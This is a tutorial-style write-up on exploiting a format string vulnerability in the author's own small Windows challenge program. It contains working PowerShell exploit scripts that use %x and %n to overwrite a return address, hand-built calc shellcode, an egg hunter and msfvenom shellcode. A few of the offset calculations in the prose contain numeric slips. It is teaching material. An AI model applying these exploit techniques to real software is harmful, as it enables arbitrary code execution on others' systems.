Exploiting Format Strings in Windows
I thought of making a small challenge in exploiting format strings in Windows. This is how it looks, it asks for a filename to open. At first, this might be a bit confusing. There are no vulnerable functions in reading a file. You can see that our first argument to the program is echoed back in the program.
Let’s investigate this inside a debugger. As you can see if argc == 2 the application continues the flow and argv[1] is passed into that function highlighted.
Inside that function, memset is used to fill the memory with zeros and strncpy is used to copy the user input inside the filled buffer space. But if you notice eax is directly called by the printf function without specifying any format string parameter. The function printf will directly call our buffer. This is quite interesting
Let’s try to read the stack using the %X format string which is used to display text in hex format. As you can see printf function read the stack from high memory to low memory.
I will give 80 A characters and a bunch of %x format strings and see the output.
You can see 41 which means hex A and 2558 which is %X.
We can use %n to display the number of characters written so far in a string up to the offset %n is placed. We must pass the address of the variable. Basically, this will write to a memory location. For example,
int main() {
int number;
printf("Hello %nWorld", &number);
printf("%d", number);
}This will print the value 6.
So, let’s try placing a %n in the input and see what happens.
The program crashed while trying to write to an address. Let’s see what happened inside the debugger.
This is the place where things go messed up. The value of ECX is moved into the address pointed at EAX.
Let’s check the registers. EAX contains 78257825 which is “x%x%” and ECX contains f8.
Let’s examine the stack. If we go down the stack, we can see our injected characters on the stack. This might give you a nice idea to place the shellcode instead of the ‘A’ characters
At the end of the function epilogue, once it hits RET, EIP would point to the return address from the previous function on the stack.
If we check the call stack, we can see the first frame pointer which points to 0019f72c
The return address would be 0019f730 which points to 00401188 of the previous function. If you notice 0019f730 address got a null byte in front. But this won’t be an issue if we write this address at the end of our payload in little-endian format
Here’s the plan. We can control ECX and EAX in this scenario. We can write the address of shellcode inside ECX and the pointer to the return address inside the EAX register. Once the program hits “mov dword ptr [eax],ecx” the address of shellcode will be written in the return address on the stack. When the program reaches the end of the function and hits the epilogue LEAVE, RET the EIP will point to our newly written address which points to our shellcode
Alright, the plan sounds cool, let’s try to implement this and try out.
First, we should point EAX to our return address. My first payload was something like this. Like in the previous image the EAX contains 78257825 which is “x%x%”.
$Buffer = 'A' * 80
$fmt = '%x' * 21 + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $finalWe must keep experimenting and see till EAX points to our 4 B characters. I kept increasing the “%x” characters finally got EAX pointing to “BBBB”. So, the next payload I tried was this.
$Buffer = 'A' * 80
$fmt = '%x' * 41 + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $finalLet’s try to control the ECX register by making it point to our address of shellcode. As in the previous image our shellcode is located at 0019f758. Let’s divide this number by 4.
0x0019f758/4 = 425430Let’s give this value to the format string %x, this will change the value of ECX. At the same time, I am going to increase the %x characters from 41 to 51 to make EAX point to our Bs. This %x reads 2 characters at once. We must keep experimenting till we reach our goals
$Buffer = 'A' * 80
$fmt = '%x' * 51 + '%.425430x' * 4 +'%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $finalNow ECX points to 0019f940, but we need ECX pointed to 0019f758.
Let’s find the difference and try again.
0x0019f940– 0x0019f758 = 488By adding 408 to our last format string we should get somewhere close to our goal. Let’s try it out.
425430 + 488 = 425918$Buffer = ‘A’ * 80
$fmt = ‘%x’ * 51 + ‘%.425430x’ * 3 + ‘%.425918x’ +’%n’
$ret = ‘B’ * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
Now ECX points to 19fb28. Let’s again find the difference.
0x19fb28 – 0x19f758 = 976By subtracting the difference from the last format string, we should get ECX pointing to the exact address we need.
425918 - 949 = 424942$Buffer = 'A' * 80
$fmt = '%x' * 51 + '%.425430x' * 3 + '%.424942x' +'%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final
Now ECX points to 19f758 which is the location we are going to place our shellcode.
Since we have 80 A characters I will first try to write my own shellcode to pop a calc. Because if I again increase the number of A characters it would be a pain to calculate offsets. I will use the WinExec API to call the calc. Let’s find the address of it.
This is a simple asm code that I’ve written to call the WinExec API.
format PE GUI 4.0
entry ShellCode
include 'win32ax.inc'
; Author: @OsandaMalith
section '.code' executable readable writeable
ShellCode:
push ebp
mov ebp, esp
xor edi, edi
push edi
mov byte [ebp-04h], 'c'
mov byte [ebp-03h], 'a'
mov byte [ebp-02h], 'l'
mov byte [ebp-01h], 'c'
mov dword [esp+4], edi
mov byte [ebp-08h], 01h
lea eax, [ebp-04h]
push eax
mov eax, 75263640h
call eaxThis is our final exploit.
<#
# Author: @OsandaMalith
# Website: https://osandamalith.com
# Format String Exploitation
#>
$shellcode = [Byte[]] @(
0x55, # push ebp
0x89, 0xE5, # mov ebp, esp
0x31, 0xFF, # xor edi, edi
0x57, # push edi
0xC6, 0x45, 0xFC, 0x63, # mov byte [ebp-04h], 'c'
0xC6, 0x45, 0xFD, 0x61, # mov byte [ebp-03h], 'a'
0xC6, 0x45, 0xFE, 0x6C, # mov byte [ebp-02h], 'l'
0xC6, 0x45, 0xFF, 0x63, # mov byte [ebp-01h], 'c'
0x89, 0x7C, 0x24, 0x04, # mov dword [esp+4], edi
0xC6, 0x45, 0xF8, 0x01, # mov byte [ebp-08h], 01h
0x8D, 0x45, 0xFC, # lea eax, [ebp-04h]
0x50, # push eax
0xB8, 0x40, 0x36, 0x26, 0x75, # mov eax, 75263640h
0xFF, 0xD0 # call eax
)
$shellcode += [Byte[]] (0x41) * (80 - $shellcode.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 51) +
([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) +
([system.Text.Encoding]::ASCII).GetBytes('%.424942x') +
([system.Text.Encoding]::ASCII).GetBytes('%n')
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $shellcode + $fmt + $ret
$payload = ''
ForEach ($i in $final) {
$payload += ([system.Text.Encoding]::Default).GetChars($i)
}
Start-Process ./fmt.exe -ArgumentList $payloadLet’s have a final look inside the debugger.
The value of ECX 0019f758 is going to be moved inside the pointer to EAX which is 0019f730, which is a stack pointer containing our return address. If we see inside the ECX register it points to our shellcode.
As soon as the function hits return EIP would point to our shellcode
Once we run this exploit w00t! we would get our calculator
How about we use an egg hunter to find our shellcode?
One may argue we could use a long-jump or we could directly place the shellcode at the beginning. But still, I thought of using this for fun and curiosity.
First, I checked the bad chars and I found “\x00\x09\x20” as the bad chars in this program. Here’s the exploit with the egg hunter. Note that the offsets might change in different Windows platforms.
<#
# Author: @OsandaMalith
# Website: https://osandamalith.com
# Egg hunter for the format string bug
#>
[Byte[]] $egg = 0x66,0x81,0xca,0xff,0x0f,0x42,0x52,0x6a,0x02,0x58,0xcd,0x2e,0x3c,0x05,0x5a,0x74,0xef,0xb8,0x54,0x30,0x30,0x57,0x8b,0xfa,0xaf,0x75,0xea,0xaf,0x75,0xe7,0xff,0xe7
$shellcode = ([system.Text.Encoding]::ASCII).GetBytes('W00TW00T')
#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f powershell -e x86/alpha_mixed
[Byte[]] $shellcode += 0x89,0xe0,0xdd,0xc7,0xd9,0x70,0xf4,0x5a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x52,0x59,0x6a,0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,0x49,0x6c,0x78,0x68,0x4c,0x42,0x55,0x50,0x73,0x30,0x33,0x30,0x61,0x70,0x6c,0x49,0x6b,0x55,0x56,0x51,0x4b,0x70,0x73,0x54,0x6c,0x4b,0x56,0x30,0x56,0x50,0x6c,0x4b,0x32,0x72,0x76,0x6c,0x4e,0x6b,0x71,0x42,0x57,0x64,0x4e,0x6b,0x73,0x42,0x34,0x68,0x44,0x4f,0x48,0x37,0x53,0x7a,0x74,0x66,0x34,0x71,0x39,0x6f,0x4c,0x6c,0x45,0x6c,0x43,0x51,0x73,0x4c,0x76,0x62,0x44,0x6c,0x65,0x70,0x6b,0x71,0x38,0x4f,0x64,0x4d,0x37,0x71,0x7a,0x67,0x59,0x72,0x68,0x72,0x43,0x62,0x42,0x77,0x4e,0x6b,0x50,0x52,0x32,0x30,0x4e,0x6b,0x72,0x6a,0x77,0x4c,0x6e,0x6b,0x52,0x6c,0x57,0x61,0x73,0x48,0x78,0x63,0x72,0x68,0x33,0x31,0x38,0x51,0x30,0x51,0x6e,0x6b,0x70,0x59,0x75,0x70,0x55,0x51,0x4e,0x33,0x6c,0x4b,0x73,0x79,0x46,0x78,0x7a,0x43,0x45,0x6a,0x62,0x69,0x4c,0x4b,0x65,0x64,0x6c,0x4b,0x75,0x51,0x38,0x56,0x50,0x31,0x59,0x6f,0x4c,0x6c,0x59,0x51,0x6a,0x6f,0x76,0x6d,0x63,0x31,0x48,0x47,0x44,0x78,0x4d,0x30,0x42,0x55,0x4c,0x36,0x65,0x53,0x31,0x6d,0x58,0x78,0x55,0x6b,0x31,0x6d,0x71,0x34,0x31,0x65,0x6a,0x44,0x61,0x48,0x6e,0x6b,0x32,0x78,0x51,0x34,0x55,0x51,0x6a,0x73,0x71,0x76,0x6c,0x4b,0x44,0x4c,0x70,0x4b,0x4e,0x6b,0x53,0x68,0x57,0x6c,0x73,0x31,0x49,0x43,0x4e,0x6b,0x74,0x44,0x6e,0x6b,0x76,0x61,0x78,0x50,0x4c,0x49,0x30,0x44,0x76,0x44,0x66,0x44,0x73,0x6b,0x43,0x6b,0x61,0x71,0x53,0x69,0x32,0x7a,0x72,0x71,0x79,0x6f,0x6d,0x30,0x43,0x6f,0x63,0x6f,0x72,0x7a,0x6e,0x6b,0x74,0x52,0x7a,0x4b,0x4e,0x6d,0x31,0x4d,0x43,0x5a,0x55,0x51,0x6e,0x6d,0x4f,0x75,0x38,0x32,0x75,0x50,0x55,0x50,0x65,0x50,0x30,0x50,0x71,0x78,0x65,0x61,0x6c,0x4b,0x52,0x4f,0x6d,0x57,0x79,0x6f,0x4a,0x75,0x4f,0x4b,0x4a,0x50,0x4d,0x65,0x49,0x32,0x73,0x66,0x71,0x78,0x6f,0x56,0x6d,0x45,0x6f,0x4d,0x6f,0x6d,0x39,0x6f,0x4b,0x65,0x75,0x6c,0x45,0x56,0x51,0x6c,0x64,0x4a,0x4d,0x50,0x4b,0x4b,0x79,0x70,0x31,0x65,0x37,0x75,0x4d,0x6b,0x71,0x57,0x76,0x73,0x62,0x52,0x52,0x4f,0x71,0x7a,0x63,0x30,0x62,0x73,0x49,0x6f,0x69,0x45,0x53,0x53,0x51,0x71,0x50,0x6c,0x33,0x53,0x36,0x4e,0x53,0x55,0x70,0x78,0x32,0x45,0x45,0x50,0x41,0x41
$egg += [Byte[]] (0x41) * (80 - $egg.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 305) +
([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) +
([system.Text.Encoding]::ASCII).GetBytes('%.424942x') +
([system.Text.Encoding]::ASCII).GetBytes('%n')
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $egg + $fmt + $shellcode + $ret
$payload = ''
ForEach ($i in $final) {
$payload += ([system.Text.Encoding]::Default).GetChars($i)
}
Start-Process ./fmt.exe -ArgumentList $payloadThis method of exploitation is compiler dependent. I have experimented with this on Embarcadero C++ (Borland C++) and Visual C++ 2000 compilers. In other compilers, the printf function is not the same as these. You can research more on other compilers

